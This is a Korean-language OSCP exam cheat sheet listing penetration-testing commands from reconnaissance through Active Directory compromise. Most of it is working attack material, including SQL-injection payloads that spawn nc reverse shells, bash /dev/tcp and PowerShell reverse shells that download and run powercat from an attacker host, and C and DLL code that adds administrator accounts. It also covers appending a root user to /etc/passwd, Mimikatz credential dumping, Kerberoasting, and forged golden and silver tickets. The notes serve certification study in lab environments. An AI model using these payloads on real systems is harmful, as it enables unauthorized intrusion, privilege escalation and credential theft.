Flow

기본적으로 [정보 수집 > 취약점 스캔 > 권한 상승 > 다른 머신 침투] 의 틀을 가지고 있다.

주로 Nmap 및 자동화 툴선에서 끝나는 것 같지만, 수동 정보 수집도 중요하니 막힐 땐 최대한 정보를 모아야 한다.

모든 정보를 활용해야 함을 항상 생각하면서 해킹하자!

CheatSheet

OSCP 자격증 공부를 하면서 자주 사용하는 명령어 정리

Basic

# vpn
sudo openvpn universal.ovpn

# open port
ss -ntlpu

# transfer
https://blog.ropnop.com/transferring-files-from-kali-to-windows/

# reverse shell tty upgrade
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
python3 -c 'import pty; pty.spawn("/bin/bash")'

Scan

Port Scan

masscan, RustScan 도 고려해볼 것

Nmap 옵션 정리

# 스캔할 IP 방화벽 인/아웃바운드 열기 및 조회
sudo iptables -I INPUT 1 -s <IP> -j ACCEPT
sudo iptables -I OUTPUT 1 -d <IP> -j ACCEPT
sudo iptables -Z
# TCP
nmap -sC -sV -Pn <IP> -p <PORT> -oN <저장할 파일명>

# UDP 
nmap -sC -sV -U -Pn <IP> -p <PORT> -oN <저장할 파일명>

# NSE 사용 : /usr/share/nmap/scripts
sudo nmap --script-updatedb
nmap ~~~ --script <script명>

# 웹

# In Window
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null

DNS Enum

# IP 찾기
host <domain>

# A레코드 검색
host -t mx <domain>
nslookup mail.megacorptwo.com # in Window

# TXT레코드 검색
host -t txt <domain>
nslookup -type=TXT <domain> <DNS_IP> # in Window

# subdomain 검색 : /usr/share/seclists 
# 없을경우 sudo apt install seclists
for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 000.000.000.$ip; done | grep -v "not found"

# dnsrecon / options : std, brt
dnsrecon -d <domain> -t <options> -D <wordlist>

SMB Enum

# https://medium.com/r3d-buck3t/crackmapexec-in-action-enumerating-windows-networks-part-1-3a6a7e5644e9
# https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference
# NetBIOS + SMB : 옛날 버전
sudo nbtscan -r 192.168.50.0/24

# 디스크 확인
smbclient //<ip>/<Folder 명>
net view \\<AD_domain> /all # in Window

# NTML hash 사용
smbclient \\\\192.168.50.212\\secrets -U <user> --pw-nt-hash <hash>

# 공유 폴더 확인
crackmapexec smb 10.129.157.36 -u '' -p '' --shares
crackmapexec smb 10.129.157.36 -u '' -p '' --users
crackmapexec smb 10.129.157.36 -u '' -p '' --rid-brute

# 재귀로 검색
crackmapexec smb 10.129.157.36 -u '' -p '' --spider <폴더명> --regex .

# 파일 얻기
get file.ext

# writable 확인
## mount
mount -t cifs -o rw,username=guest,password= '//<ip>/<폴더명>' /mnt
## writable.sh
#!/bin/bash
list=$(find /mnt -type d)
for d in $list
do
	touch $d/x 2>/dev/null
	if [ $? -eq 0 ]
	then
		echo $d " is writable"
	fi
done

SMB scf Attack

SCF(Shell Command Files)는 임의의 UNC 경로에 액세스하는 데 사용할 수 있으며, 이를 통해 다음을 수행할 수 있습니다. (Universal Naming Convention) 네트워크의 서버, 프린터 및 기타 리소스를 식별하기 위한 표준입니다. SMB 폴더 중 writable한 곳이 있을 때, 사용 가능한 공격 벡터이다. scf 파일 내 IconFile이 설정된 경로가 UNC 경로로 Victim이 탐색 시 해당 UNC 경로로 자동 설정되어 연결을 시도 한다.

Responder를 이용하여 Kali에서 SMB를 열어 NTLM 해시를 얻을 수 있다.

# hash.scf
[Shell] Command=2
IconFile=\\<kali_ip>\share\pwn.ico 
[Taskbar] 
Command=ToggleDesktop

SMTP Enum

# user 확인
nc -nv <ip> 25
# smtp.py : python3 smtp.py <user명> <IP>
#!/usr/bin/python

import socket
import sys

if len(sys.argv) != 3:
        print("Usage: vrfy.py <username> <target_ip>")
        sys.exit(0)

# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the Server
ip = sys.argv[2]
connect = s.connect((ip,25))

# Receive the banner
banner = s.recv(1024)

print(banner)

# VRFY a user
user = (sys.argv[1]).encode()
s.send(b'VRFY ' + user + b'\r\n')
result = s.recv(1024)

print(result)

# Close the socket
s.close()
# in Window
Test-NetConnection -Port 25 <ip>

# telnet : admin 권한 필요
dism /online /Enable-Feature /FeatureName:TelnetClient
telnet <IP> 25

SNMP Enum

MIB  
1.3.6.1.2.1.25.1.6.0 시스템 프로세스
1.3.6.1.2.1.25.4.2.1.2 프로그램 실행
1.3.6.1.2.1.25.4.2.1.4 프로세스 경로
1.3.6.1.2.1.25.2.3.1.4 보관 유닛
1.3.6.1.2.1.25.6.3.1.2 소프트웨어 이름
1.3.6.1.4.1.77.1.2.25 사용자 계정
1.3.6.1.2.1.6.13.1.3 TCP 로컬 포트
# list 구성
echo "public\nprivate\nmanager" > community
for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips

# onesixtyone
onesixtyone -c community -i ips

# snmpwalk
snmpwalk -c public -v1 -t 10 <IP> <MIB_Num>

WEB

Gobuster

# /usr/share/wordlists/dirb, SecLists, dirbuster
# pattern 양식 : {GOBUSTER}/v1
gobuster dir -u <ip> -w <word_list> -p <pattern> -b 301 --timeout 20s

# domain 등록 : 웬만해서는 하고 하자 subdomain 찾기용
echo "ip domain" | sudo tee -a /etc/hosts

# subdomain 찾기
gobuster vhost -u https://mysite.com -w subdomain.txt --append-domain

wpscan

# wordpress일 경우
# 그 후 나온 plugin cve 서칭
wpscan --url <url> --enumerate ap,u,t --plugins-detection aggressive -o <fileName>

# wp plugin
https://jckhmr.net/create-a-wordpress-webshell-plugin/
wp-contents/plugins/<zip파일명>/<php파일명>

Wordpress

// encoding error 방지용 hex 전환
// eval(String.fromCharCode(hexs))
function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)

All

# 호스트 등록
echo "ip domain" | sudo tee -a /etc/hosts

# 무슨 web 인지 찾기 
whatweb http://192.168.50.244

# 웹쉘 위치
/usr/share/webshells/

# 공격 코드 한줄요약
https://jscompress.com/

# SQL
## postgre
### rce
';+CREATE+TABLE+shell(output+text);COPY+shell+FROM+PROGRAM+'rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.45.222+9999+>/tmp/f';--

## MS-SQL
### xp_cmdshell 활성화
; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
### rce
;EXEC xp_cmdshell 'powershell -c "$x = whoami; curl http://my-kali?output=$x"';--

## MySql
### rce
' UNION SELECT 1,2,3,4,"<?php system($_GET['cmd']); ?>",6 INTO DUMPFILE '/var/www/html/shell.php' #

# LFI & Linux Command Injection
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<kali_ip>%2F<port>%200%3E%261%22
bash -c "bash -i >& /dev/tcp/<kali_ip>/<port> 0>&1"

echo -n '<?php echo system($_GET["cmd"]);?>' | base64
data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

php://filter/convert.base64-encode/resource=admin.php
echo "base64" | base64 -d

# Window 일때, cmd, PowerShell 구분 / PetSerAl 검색
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

# ps1 다운 후 실행
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.000.000/powercat.ps1");powercat -c 192.168.000.000 -p 4444 -e powershell

Exploit Code

# /usr/share/exploitdb
sudo apt update && sudo apt install exploitdb

# searchsploit
searchsploit <검색할 서비스>

# 파일 다운
searchsploit -m <숫자>

Password

사용할 워드리스트 위치 : /usr/share/wordlists/ hash 종류 파악 : hash-identifier

Wordlist 변형

각종 rule 위치 : /usr/share/hashcat/rules/

# 특정 앞자리 제거
sed -i '/^1/d' password.txt

# 규칙들 (한줄로 작성 시 한번에 적용 / 여러줄로 작성 시 각각 적용)
$1 -> 뒤에 1 추가 / c -> 앞문자 대문자로

# 규칙 생성 및 적용
echo \$1 > password.rule
hashcat -r demo.rule --stdout password.txt

hydra

# user명 알때
hydra -l <user> -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://<ip>

# password 알때
hydra -L /usr/share/wordlists/dirb/others/names.txt -p <password> rdp://<ip>

# HTTP Post
hydra -L <users_file> -P <password_file> <url> http[s]-[post|get]-form \
"index.php:param1=value1&param2=value2&user=^USER^&pwd=^PASS^&paramn=valn:[F|S]=message"
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.000.000 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

# 입력창 뜰 때, A 는 Authorization NTLM 는 Bearer 같은 거
hydra -l sizzler -P /usr/share/wordlists/rockyou.txt 10.129.166.251 http-get '/certsrv:A=NTLM:F=401'

NTLM

relay시 사용할 one-liner 생성 코드

# NTLM hash Relay
impacket-psexec -hashes 00000000000000000000000000000000:<NTLM hash> <user>@<IP>
impacket-wmiexec -hashes 00000000000000000000000000000000:<NTLM hash> <user>@<IP>

# NTLMv2 hash 얻기
sudo responder -I tap0 # in Kali
dir \\<kali_ip>\test # in reverse Shell

# capture reset
rm /usr/share/responder/Responder.db

# NTLMv2 Relay / one-liner
# Server1 -> kali_SMB server -> Server2 Relay
impacket-ntlmrelayx --no-http-server -smb2support -t <Server2_IP> -c "powershell -enc JABjAGwAaQBlAG4AdA..." # in Kali
dir \\<kali_ip>\test # in Server1 reverse Shell

HashCat

# mode 검색
hashcat --help | grep -i <hash종류>

hashcat -m <mode> <hash값 담긴 파일> <wordlist> -r <rule>.rule

# KeePass
keepass2john Database.kdbx > keepass.hash # Database: 지워야함

# ssh
ssh2john id_rsa > ssh.hash

john

# rule 양식
[List.Rules:sshRules]
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#

# rule 변환
sudo sh -c 'cat /home/kali/passwordattacks/ssh.rule >> /etc/john/john.conf'

# 사용
john --wordlist=<wordlist> --rules=sshRules ssh.hash

Window

Info Gather

# OS & Network
systeminfo
ipconfig /all
route print
netstat -ano

# User & Group
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember <group>

# Installed App
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# Find ext 
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

# Command history
Get-History
(Get-PSReadlineOption).HistorySavePath

# Auto
.\winPEAS.exe

# gd
God.exe -cmd "cmd /c net user g3rm g3rm /add"

# RunasCs.exe
RunasCs.exe g3rm g3rm "cmd /c c:\Temp\nc.exe -e cmd.exe kali_ip" -l 8
nc -nvlp 445

PowerUp.ps1

# import module
powershell -ep bypass
. .\PowerUp.ps1

# use
Get-ModifiableServiceFile
Install-ServiceBinary -Name <Service Name>

Get-UnquotedService

evil-winrm

# bind shell -> WinRM 의 경우 명령 출력을 못받을 수 있음 그때 사용
evil-winrm -i IP -u user -p "password"

Reverse Shell

# ex) exploit.lnk
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.5:8000/powercat.ps1'); powercat -c 192.168.119.5 -p 4444 -e powershell"

Binary Hijacking

Exploit exe

#include <stdlib.h>
int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}

# in kali
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
# get Service Info
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

# Auth Check : F / SeShutdownPrivilege Enabled
icacls <Binary PathName>
whoami /priv

# service start / stop
Start-Service GammaService
Stop-Service GammaService

DLL Hijacking

DLL이 실행되는 권한은 애플리케이션을 시작하는 데 사용된 권한에 따라 달라진다는 것을 인지하자. (즉, Auto여서 컴퓨터를 재시작하는 것이 아닌 이상 adduser하기 힘들다.)

Exploit DLL

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user g3rm password123! /add");
  	    i = system ("net localgroup administrators g3rm /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
or
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.45.222 LPORT=4444 -f dll -o exploit.dll

Incorrect Path

# 띄어쓰기면서 ""가 없는 경로 찾기
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

# C:\Test\ABC Test\DEF Test\GHI.exe 일 경우
ABC.exe or DEF.exe 를 넣어 공격

Other Abuse + SigmaPotato

# Cron Job Abuse
schtasks /query /fo LIST /v

# Patch Exploit
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

# https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
# If SeImpersonatePrivilege Enabled
.\SigmaPotato "net localgroup Administrators alex /add"
PrintSpoofer64.exe -i -c cmd

# https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/
# sebackupprivilege 악용
reg save hklm\sam .\
reg save hklm\system .\
# in kali
pypykatz registry --sam sam system
evil-winrm -i <ip> -u Administrator -H "':' 기준으로 젤 뒤에 hash"

Linux

Info Gather

# os
cat /etc/os-release
uname -a
lscpu

# process
ps aux
ps aux | grep root
watch -n 1 "ps -aux | grep pass"

# shell 종류 파악 - Tmux, Screen 활용
cat /etc/shells

# DNS host 파악
cat /etc/resolv.conf
cat /etc/hosts

# shellshock exploit에 취약
grep "*sh$" /etc/passwd

# tcp log
sudo tcpdump -i lo -A | grep "pass"

# network
routel
netstat -anp
cat /etc/iptables/rules.v4

#cron
ls -lah /etc/cron*
sudo crontab -l
grep "CRON" /var/log/syslog , cron.log , ...
# 1000ms 마다 스캔하여 cron 확인
./pspy64 -pf -i 1000

# installed 
dpkg -l
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list

# writable
find / -writable -type d/f 2>/dev/null
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

# 숨겨진 파일 폴더 파악
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <username>
find / -type d -name ".*" -ls 2>/dev/null

# 구성 파일
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null

# 스크립트
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"

# 히스토리
history
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null

# 임시파일
ls -l /tmp /var/tmp /dev/shm

# mount drive
cat /etc/fstab
mount
lsblk

# module info
lsmod
/sbin/modinfo <module>

# find suid
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

# Privilege Group
find / -group adm -exec ls -ldb {} \; 2>/dev/null

# get env
echo $SHELL
echo $PATH
env
cat .bashrc

# check sudo auth
sudo -l
sudo -i
sudo -V

# sudo user 파악
getent group sudo
## sudo -l에서 나온 파일이 sudo로 안될때
sudo -u root <vuln_file>

# 바이너리 : GTFObins 활용
ls -l /bin /usr/bin/ /usr/sbin/
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done

# auto : /usr/bin/unix-privesc-check, /usr/share/peass/linpeas/linpeas.sh
./unix-privesc-check standard > output.txt
./linpeas.sh

Escaping Restricted Shells

제한될 쉘 : 특정 명령만 실행 가능하거나, 특정 디렉토리에서만 명령을 실행할 수 있는 쉘 유형으로 rbash, rksh, rzsh 등이 있다.

# 사용 가능한 명령어 보기
compgen -c 

# ls, ls -l, ls -a 등을 인수에 추가해 셸 탈출이 가능하다.
ls -l 'pwd'

그 외 Command Substitution, Command Chaining, Environment Variables, Shell Functions 등을 통해 탈출할 수 있다.

Path Abuse

echo $PATH
pwd && conncheck

PATH=.:${PATH}
export PATH

touch ls
echo 'echo "PATH ABUSE!!"' > ls
chmod +x ls

Other Abuse

# kernel exploit
gcc 00000.c -o exploit

# set password
openssl passwd password
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

# About setuid Abuse : https://gtfobins.github.io/

# Capabilities
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
## cap_setuid+ep 
<Binary> -r / 2>/dev/null
## cap_dac_override 활용법
/usr/bin/vim.basic /etc/passwd
root::0:0:root:/root:/bin/bash
### 비대화형 모드에서
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd

# About Sudo Abuse
sudo -l
## AppArmor 여부
aa-status

# About Kernel -> searchsploit
cat /etc/issue
uname -r
arch
gcc cve-2017-16995.c -o cve-2017-16995

# one-line
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.222 4444 >/tmp/f

Port Forwarding & Tunneling

Port Forwarding

# socat
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432

# local / server1 - server2 - server3
ssh -N -L 0.0.0.0:4455:<server3_IP>:445 database_admin@<server2_IP>

# dynamic / server1 - server2 - server3
ssh -N -D 0.0.0.0:9999 database_admin@<server2_IP>
	# in kali
	vi /etc/proxychains4.conf
	socks5 <server1_IP> 9999

# remote / server1 - server2 / inbound가 막혀있을 때 주로 사용
ssh -N -R 127.0.0.1:2345:<server2_IP>:5432 kali@<mykali_ip>

# remote dynamic
ssh -N -R 9998 kali@<mykali_ip>
	# in kali
	vi /etc/proxychains4.conf
	socks5 127.0.0.1 9998

# sshuttle
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

in Window

# start
sudo systemctl start ssh

# remote dynamic
ssh -N -R 9998 kali@<mykali_ip>

# plink
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 <mykali_ip>

# netsh / server1 - server2
netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=<server1_port> listenaddress=<server1_ip> connectport=<server2_port> connectaddress=<server2_ip>

# netsh로 방화벽 열기
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=<server1_ip> localport=<server1_port> action=allow

# netsh로 방화벽 t삭제
netsh advfirewall firewall delete rule name="port_forward_ssh_2222"

HTTP Tunneling

HTTP 포트만 inbound 열려 있을 때

# 버전이 중요함 Go 1.19 - Chisel <= 1.81 / Go > 1.20 - Chisel > 1.81
# 만약 안붙으면 tcpdump 로 보기
# server start
chisel server --port 8080 --reverse

# client
/tmp/chisel client <kali_IP>:8080 R:socks > /dev/null 2>&1 &
chisel.exe client <kali_IP>:8080 R:80:172.16.6.241:80
chisel.exe client --fingerprint SgtWdmBCNIjgaX03e80+VTUNMpzdZVhM16I1G3dzQzI= 192.168.45.207:8080 R:80:172.16.193.241:80

# dynamic
chisel.exe client kali:8080 R:1080:socks

DNS Tunneling

# dnscat2-server
dnscat2-server feline.corp
listen 127.0.0.1:4455 172.16.2.11:445

Active Directory

정보 수집

# domain 사용자 출력
net user /domain
net user <username> /domain

# domain group 출력
net group /domain
net group <groupname> /domain

# current domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name # 속성 추출

# DN 검색
([adsi]'').distinguishedName
.NET 클래스 이용
function LDAPSearch {
    param (
        [string]$LDAPQuery
    )

    $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
    $DistinguishedName = ([adsi]'').distinguishedName

    $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")

    $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)

    return $DirectorySearcher.FindAll()
}
# 모든 그룹 나열
LDAPSearch -LDAPQuery "(objectclass=group)"

# 특정 그룹 검색
$test = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Test LDAP))"
$test.properties.member
PowerView 이용
Import-Module .\PowerView.ps1

# 오류 메시지 받기
-Verbose

# 도메인
Get-NetDomain

# 유저
Get-NetUser | select <속성>

# 그룹
Get-NetGroup <그룹> | select <속성>

# 도메인 컨트롤러 정보 확인
Get-NetDomainController

# 도메인 정책 확인
Get-DomainPolicy

# 시스템 권한 확인
(Get-DomainPolicy)."system access"

# 컴퓨터 열거
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

# 해당 유저의 관리자 권한 컴퓨터 찾기
Find-LocalAdminAccess

# 세션 찾기 권한 확인 및 찾기
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Get-NetSession -ComputerName <컴퓨터이름>
## 권한이 없을 경우 + Remote Registry 켜져있을 때 사용
.\PsLoggedon.exe \\<컴퓨터이름> 

# 계정에 연결된 SPN 확인
setspn -L <계정명>
Get-NetUser -SPN | select samaccountname,serviceprincipalname

# 유저 권한 확인
Get-ObjectAcl -Identity <계정명>
Find-InterestingDomainAcl

# stephanie가 가지고 있는 권한들 검색
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "stephanie"} | select ObjectDN,ActiveDirectoryRights

# SID 변환
Convert-SidToName <SID>
<SID1>,<SID2> | Convert-SidToName

# GenericAll 권한인 유저들 출력
Get-ObjectAcl -Identity <그룹> | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

# 도메인 공유 출력 및 폴더 조사
Find-DomainShare
ls \\dc1.corp.com\sysvol\corp.com\
BloodHound
# SharpHound로 분석할 데이터 만들기
# 사용법
Import-Module Sharphound.ps1
Get-Help Invoke-BloodHound

# 전체 조사
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\<경로> -OutputPrefix <zip파일 접두사>

# BloodHound 환경설정
# default account - neo4j:neo4j
sudo apt install bloodhound
sudo neo4j start
bloodhound

# Generic All Force Change Password
https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/
https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword

# Query
# 모든 유저, 컴퓨터 표시
MATCH (m:Computer) RETURN m
MATCH (m:User) RETURN m

# 활성 세션 표시
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p

Auth Attack

# mimikatz로 우선 해쉬 얻어야함 / 
lsadump::sam /system:C:\Windows.old\Windows\system32\SYSTEM
privilege::debug
sekurlsa::logonpasswords
# dir \\web04.corp.com\backup 사용 시 티켓이 생성되며 캐시되어 얻을 수 있음
sekurlsa::tickets
# 정책 가져오기
net accounts

# Password Spray 3가지 기법
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
crackmapexec smb 192.168.50.0/24 -u users.txt -p <password> -d <domain> --continue-on-success
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
smbmap -u "john" -d "beyond.com" -p "dqsTwTpZPn#nL" -H 172.16.193.0/24 

AS-REP Roasting

# username 사용자에 대해서 AS-REQ 날리기 [No Auth]
impacket-GetNPUsers domain.com/ -dc-ip 10.129.246.172 -usersfile username

# Kerberos의 사전 인증을 비활성하여 모든 AD 사용자에 대해서 AS-REQ를 날리기 [Auth]
impacket-GetNPUsers -dc-ip <ip>  -request -outputfile hashes.asreproast corp.com/pete

sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

# Rubeus.exe 이용
.\Rubeus.exe asreproast /nowrap

Kerber Roasting

# kali
sudo impacket-GetUserSPNs -request -dc-ip <ip> corp.com/pete

# Rubeus.exe 이용
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Silver Ticket

# 우선 mimi로 NTLM 해쉬 획득 / domain sid 만 획득 - 현재계정 sid에서 마지막만 빼면 됨.
lsadump::lsa /patch
krbtgt:4d28cf5252d39971419580a51484ca09
S-1-5-21-1987370270-658905905-1781884369

# 위조 티켓 생성
kerberos::golden /sid:S-1-5-21-0-0-0 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:NTLM_Hash /user:username

# 캐쉬된 티켓 확인
klist

Golden Ticket

# Silver Ticket처럼 해쉬값 얻기
# 기존 티켓 삭제
kerberos::purge

# 티켓 생성
kerberos::golden /user:<생성할 유저명 아무거나> /domain:corp.com /sid:S-1-5-21-0-0-0 /krbtgt:NTLM_Hash /ptt

Domain Sync

# in mimi
lsadump::dcsync /user:corp\dave

# in kali
impacket-secretsdump -just-dc-user <find_user> domain/user:password@dc_ip

Shadow

# vshadow 실행 / Shadow copy device name 컬럼 중요
vshadow.exe -nw -p  C:

# Shadow 복사
copy \\?\<Shadow copy device name>\windows\ntds\ntds.dit c:\ntds.dit.bak
# System hive 복사
reg.exe save hklm\system c:\system.bak

# in kali
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

Lateral Move

WMI / WinRM

# encoding.py / one-liner
import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("kali-ip",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)
# WMI.ps1
$username = '';
$password = '';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName <이동할 AD IP> -Credential $credential -SessionOption $Options 
$Command = 'encoding.py printing value';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
# WinRM
$username = '';
$password = '';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName <이동할 AD IP> -Credential $credential
# WMI - 실행시 kali nc에 붙음
.\WMI.ps1

# WinRM
winrs -r:<이동할 AD hostname : test04> -u:username -p:password  "encoding.py printing value"

.\WinRM.ps1
Enter-PSSession 1

PsExec 조건

  1. 대상 머신에 인증하는 사용자는 Administrators 로컬 그룹이여야 한다.
  2. ADMIN$ 공유를 사용할 수 있어야 한다.
  3. 파일 및 프린터 공유를 켜야 한다.
# 단순 실행
./PsExec64.exe -i  \\FILES04 -u domain\user -p password cmd

Pass The Hash 조건

  1. NTLM 인증을 사용하는 서비스만 가능
  2. SMB 연결 필요
  3. 파일 및 프린터 공유를 켜야 한다.
# in Kali
/usr/bin/impacket-wmiexec -hashes :<NTLM Hash Value> Administrator@IP

Overpass The Hash

# NTLM 해시를 이용하여 Kerberos Ticket으로 변경하는 과정
# mimikatz 쉘 생성
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

# Kerberos Ticket Create / 도메인 권한이 필요한 명령을 아무거나 실행하면 티켓 생성됨.
net use \\<AD-hostname>

# 생성된 Kerberos 티켓 재사용
.\PsExec.exe \\<AD-hostname> cmd

Pass The Ticket

# TGT/TGS 내보내기 및 검색
sekurlsa::tickets /export
dir *.kirbi

# TGS Ticket 주입
kerberos::ptt <Ticket_File_name>.kirbi

DCOM

$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","ip"))
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"encoding.py printing value","7")

Metasploit

msfconsole

Nmap 및 공격 성공 시 얻는 세션 등 다양한 것들을 공유하여 사용할 수 있어 초기화 및 워크스페이스 생성 후 사용하는 것이 좋다.
자동화 코드 위치 : /usr/share/metasploit-framework/scripts/resource

# 초기화 및 접속
sudo msfdb (re)init
sudo systemctl enable postgresql
sudo msfconsole -r <자동화 스크립트>

# 워크스페이스 생성
workspace -a pen200

# Nmap 사용
db_nmap <기존 Nmap 옵션>
hosts
services

# 보조모듈 나열 exploits, payloads, auxiliary 등등 있음
show -h

# 검색
search type:<보조모듈> <검색어>
